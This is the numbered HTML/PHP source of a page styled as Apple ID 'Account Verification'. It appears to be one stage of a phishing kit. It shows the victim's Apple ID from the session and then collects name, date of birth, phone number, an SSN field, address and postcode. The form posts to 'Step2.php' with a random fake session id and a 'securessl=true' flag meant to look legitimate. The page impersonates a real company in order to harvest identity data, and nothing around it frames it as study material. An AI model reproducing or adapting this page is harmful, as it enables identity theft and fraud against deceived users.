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  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta content="text/html; charset=utf-8" http-equiv="Content-Type">
  5. <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
  6. <title>Confirm your information</title>
  7. <link href="assets/img/favicon.ico" rel="shortcut icon" type="image/x-icon">
  8. <link href="assets/css/First.css" media="all" rel="stylesheet" type="text/css">
  9. <link href="assets/css/Second.css" rel="stylesheet" type="text/css">
  10. <link href="assets/css/Fonts.css" rel="stylesheet" type="text/css">
  11. <link href="assets/css/verify.css" rel="stylesheet" type="text/css">
  12. <style>.error {color:red}</style>
  13. </head>
  14. <body id="pagecontent">
  15. <div id="content">
  16. <div class="bdd45">
  17. <nav id="xdsfv54" class="js no-touch svg no-ie7 no-ie8">
  18. <div class="HeaderObjHolder">
  19. <ul class="MobHeader">
  20. <li class="HeaderObj MobMenIconH">
  21. <label class="MobMenHol">
  22. <span class="MobMenIcon MobMenIcon-top">
  23. <span class="MobMenIcon-crust MobMenIcon-crust-top"></span> </span> <span class="MobMenIcon MobMenIcon-bottom">
  24. <span class="MobMenIcon-crust MobMenIcon-crust-bottom"></span> </span>
  25. </label>
  26. </li>
  27. <li class="HeaderObj">
  28. <a class="Item1" href="#" style="display: inline-block;margin-left:50%;margin-top:11px" id="ac-gn-firstfocus-small"> <span class="ac-gn-link-text">&nbsp;</span> </a>
  29. <a class="Item10" style="display: inline-block;float:right;margin-top:11px" href="#"> <span class="ac-gn-link-text">&nbsp;</span> <span class="ac-gn-bag-badge"></span> </a> <span class="ac-gn-bagview-caret ac-gn-bagview-caret-large"></span>
  30. </li>
  31. </ul>
  32. <ul class="HeaderObjList">
  33. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item1" href="#"></a></li>
  34. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item2" href="#"></a></li>
  35. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item3" href="#"></a></li>
  36. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item4" href="#"></a></li>
  37. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item5" href="#"></a></li>
  38. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item6" href="#"></a></li>
  39. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item7" href="#"></a></li>
  40. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item8" href="#"></a></li>
  41. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item9" href="#"></a></li>
  42. <li class="HeaderObj HeaderItem"><a class="HeaderLink Item10" href="#"></a></li>
  43. </ul>
  44. </div>
  45. </nav>
  46.  
  47.  
  48.  
  49. <div id="flow">
  50. <div class="flow-body signin clearfix" role="main">
  51. <div class="persona-splash no-photo clearfix">
  52.     <div class="persona-bg"></div>
  53.     <div class="container">
  54.         <div class="splash-section">
  55.             <div class=" person-wrapper">
  56.                 <div>
  57.                     <div class="row">
  58.                         <div class="col-sm-9 appleid-col">
  59.                             <div class="flex-container">
  60.                                 <h1 class="mobile appleid-user">
  61.                                     <span class="first_name">Account Verification</span>
  62.                                     <small class="SessionUser">Your Apple ID is <strong><?php echo $_SESSION['user'];?></strong> </small>
  63.                                 </h1>
  64.                             </div>
  65.                         </div>
  66.                         <div class="not-mobile col-sm-3">
  67.                             <div class="flex-container-signout">
  68.                                 <div class="signout pull-right">
  69.                                     <button class="btn btn-link">Sign Out </button>
  70.                                 </div>
  71.                             </div>
  72.                         </div>
  73.                     </div>
  74.                 </div>
  75.             </div>
  76.         </div>
  77.     </div>
  78. </div>
  79. <div class="container">
  80. <div class="flex home-content">
  81.  
  82.  
  83. <form action="Step2.php?&sessionid=<?php echo generateRandomString(115); ?>&securessl=true" method="post" name="details" id="details" class="proceed">
  84. <div class="container flow-sections">
  85. <div class="editable account-edit clearfix">
  86. <div class="row edit-row">
  87. <div class="col-sm-5">
  88. <h3 class="section-subtitle" id="nameLabel">Personal Information</h3>
  89. <div class="form-group">
  90. <div class="pop-wrapper field-pop-wrapper first-wrapper">
  91. <div class="name-input">
  92.   <input type="text" name="fname" id="fname" class="generic-input-field form-control field" placeholder="First Name">
  93.   <span id="nameerror"></span>
  94. </div>
  95. </div>
  96. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  97. <div class="name-input">
  98.   <input type="text" name="mname" id="mname" class="generic-input-field form-control field" placeholder="Middle Name (optional)">
  99. </div>
  100. </div>
  101. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  102. <div class="name-input">
  103.   <input type="text" name="lname" id="lname" class="generic-input-field form-control field" placeholder="Last Name">
  104. </div>
  105. <?php echo $lang['ACCOUNT'];?>
  106. </div>
  107. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  108. <div class="name-input">
  109. Date of Birth : <br>
  110. <select class="generic-input-field form-control field" name="dob1" style="width:80px;">
  111.     <option selected value>Day</option>
  112.     <option value="01">01</option>
  113.     <option value="02">02</option>
  114.     <option value="03">03</option>
  115.     <option value="04">04</option>
  116.     <option value="05">05</option>
  117.     <option value="06">06</option>
  118.     <option value="07">07</option>
  119.     <option value="08">08</option>
  120.     <option value="09">09</option>
  121.     <option value="10">10</option>
  122.     <option value="11">11</option>
  123.     <option value="12">12</option>
  124.     <option value="13">13</option>
  125.     <option value="14">14</option>
  126.     <option value="15">15</option>
  127.     <option value="16">16</option>
  128.     <option value="17">17</option>
  129.     <option value="18">18</option>
  130.     <option value="19">19</option>
  131.     <option value="20">20</option>
  132.     <option value="21">21</option>
  133.     <option value="22">22</option>
  134.     <option value="23">23</option>
  135.     <option value="24">24</option>
  136.     <option value="25">25</option>
  137.     <option value="26">26</option>
  138.     <option value="27">27</option>
  139.     <option value="28">28</option>
  140.     <option value="29">29</option>
  141.     <option value="30">30</option>
  142.     <option value="31">31</option>
  143.     </select>&nbsp
  144.    
  145.     <select class="generic-input-field form-control field" name="dob2" style="width:85px;">
  146.     <option selected value>Month</option>
  147.     <option value="01">01</option>
  148.     <option value="02">02</option>
  149.     <option value="03">03</option>
  150.     <option value="04">04</option>
  151.     <option value="05">05</option>
  152.     <option value="06">06</option>
  153.     <option value="07">07</option>
  154.     <option value="08">08</option>
  155.     <option value="09">09</option>
  156.     <option value="10">10</option>
  157.     <option value="11">11</option>
  158.     <option value="12">12</option>
  159.     </select>&nbsp
  160.    
  161.     <select class="generic-input-field form-control field" name="dob3" style="width:80px;">
  162.     <option selected value>Year</option>
  163.     <option value="2012">2012</option>
  164.     <option value="2011">2011</option>
  165.     <option value="2010">2010</option>
  166.     <option value="2009">2009</option>
  167.     <option value="2008">2008</option>
  168.     <option value="2007">2007</option>
  169.     <option value="2006">2006</option>
  170.     <option value="2005">2005</option>
  171.     <option value="2004">2004</option>
  172.     <option value="2003">2003</option>
  173.     <option value="2002">2002</option>
  174.     <option value="2001">2001</option>
  175.     <option value="2000">2000</option>
  176.     <option value="1999">1999</option>
  177.     <option value="1998">1998</option>
  178.     <option value="1997">1997</option>
  179.     <option value="1996">1996</option>
  180.     <option value="1995">1995</option>
  181.     <option value="1994">1994</option>
  182.     <option value="1993">1993</option>
  183.     <option value="1992">1992</option>
  184.     <option value="1991">1991</option>
  185.     <option value="1990">1990</option>
  186.     <option value="1989">1989</option>
  187.     <option value="1988">1988</option>
  188.     <option value="1987">1987</option>
  189.     <option value="1986">1986</option>
  190.     <option value="1985">1985</option>
  191.     <option value="1984">1984</option>
  192.     <option value="1983">1983</option>
  193.     <option value="1982">1982</option>
  194.     <option value="1981">1981</option>
  195.     <option value="1980">1980</option>
  196.     <option value="1979">1979</option>
  197.     <option value="1978">1978</option>
  198.     <option value="1977">1977</option>
  199.     <option value="1976">1976</option>
  200.     <option value="1975">1975</option>
  201.     <option value="1974">1974</option>
  202.     <option value="1973">1973</option>
  203.     <option value="1972">1972</option>
  204.     <option value="1971">1971</option>
  205.     <option value="1970">1970</option>
  206.     <option value="1969">1969</option>
  207.     <option value="1968">1968</option>
  208.     <option value="1967">1967</option>
  209.     <option value="1966">1966</option>
  210.     <option value="1965">1965</option>
  211.     <option value="1964">1964</option>
  212.     <option value="1963">1963</option>
  213.     <option value="1962">1962</option>
  214.     <option value="1961">1961</option>
  215.     <option value="1960">1960</option>
  216.     <option value="1959">1959</option>
  217.     <option value="1958">1958</option>
  218.     <option value="1957">1957</option>
  219.     <option value="1956">1956</option>
  220.     <option value="1955">1955</option>
  221.     <option value="1954">1954</option>
  222.     <option value="1953">1953</option>
  223.     <option value="1952">1952</option>
  224.     <option value="1951">1951</option>
  225.     <option value="1950">1950</option>
  226.     <option value="1949">1949</option>
  227.     <option value="1948">1948</option>
  228.     <option value="1947">1947</option>
  229.     <option value="1946">1946</option>
  230.     <option value="1945">1945</option>
  231.     <option value="1944">1944</option>
  232.     <option value="1943">1943</option>
  233.     <option value="1942">1942</option>
  234.     <option value="1941">1941</option>
  235.     <option value="1940">1940</option>
  236.     <option value="1939">1939</option>
  237.     <option value="1938">1938</option>
  238.     <option value="1937">1937</option>
  239.     <option value="1936">1936</option>
  240.     <option value="1935">1935</option>
  241.     <option value="1934">1934</option>
  242.     <option value="1933">1933</option>
  243.     <option value="1932">1932</option>
  244.     <option value="1931">1931</option>
  245.     <option value="1930">1930</option>
  246.     <option value="1929">1929</option>
  247.     <option value="1928">1928</option>
  248.     <option value="1927">1927</option>
  249.     <option value="1926">1926</option>
  250.     <option value="1925">1925</option>
  251.     <option value="1924">1924</option>
  252.     <option value="1923">1923</option>
  253.     <option value="1922">1922</option>
  254.     <option value="1921">1921</option>
  255.     <option value="1920">1920</option>
  256.     <option value="1919">1919</option>
  257.     <option value="1918">1918</option>
  258.     <option value="1917">1917</option>
  259.     <option value="1916">1916</option>
  260.     <option value="1915">1915</option>
  261.     <option value="1914">1914</option>
  262.     <option value="1913">1913</option>
  263.     <option value="1912">1912</option>
  264.     </select>
  265. </div>
  266. </div>
  267. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  268. <div class="name-input">
  269. <input id="telephone" name="telephone" class="form-control form-input" type="tel" placeholder="Phone Number">
  270. </div>
  271. </div>
  272. <?php echo $lang['SSN'];?>
  273. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  274. <div class="name-input">
  275.   <input type="text" name="address" id="address" class="generic-input-field form-control field" placeholder="Address Line ">
  276. </div>
  277. </div>
  278. <div class="pop-wrapper field-pop-wrapper middle-wrapper">
  279. <div class="name-input">
  280.   <input type="text" name="town" id="town" class="generic-input-field form-control field" placeholder="Town / City">
  281. </div>
  282. </div>
  283. <div class="form-group clearfix middle-wrapper">
  284. <div class="select-wrapper">
  285. <?php echo $lang['COUNTYSELECT'];?>
  286. </div>
  287. </div>
  288. <div class="pop-wrapper field-pop-wrapper last-wrapper">
  289. <div class="name-input">
  290.   <input type="text" name="postcode" id="postcode" class="generic-input-field form-control field" placeholder="Post / ZIP Code">
  291. </div>
  292. </div>
  293. <div class="pop-wrapper field-pop-wrapper last-wrapper">
  294. <div class="name-input">
  295. <input type="hidden" name="country" class="generic-input-field form-control field" value="<?php echo $lang['COUNTRY'];?>" placeholder="Country">
  296. </div>
  297. </div>
  298. <br>
  299. <br>
  300. <input type="submit" class="gobtn btn-link" style="width:50%;margin-left:auto;margin-right:auto;float:right" value="Next">
  301. </div>
  302. </div>
  303. </div>
  304. </div>
  305. </div>
  306. </form>
  307.  
  308.  
  309.  
  310. </div>
  311. </div>
  312. </div>
  313. </div>
  314. </div>
  315. </div>
  316. </body>
  317. </html>
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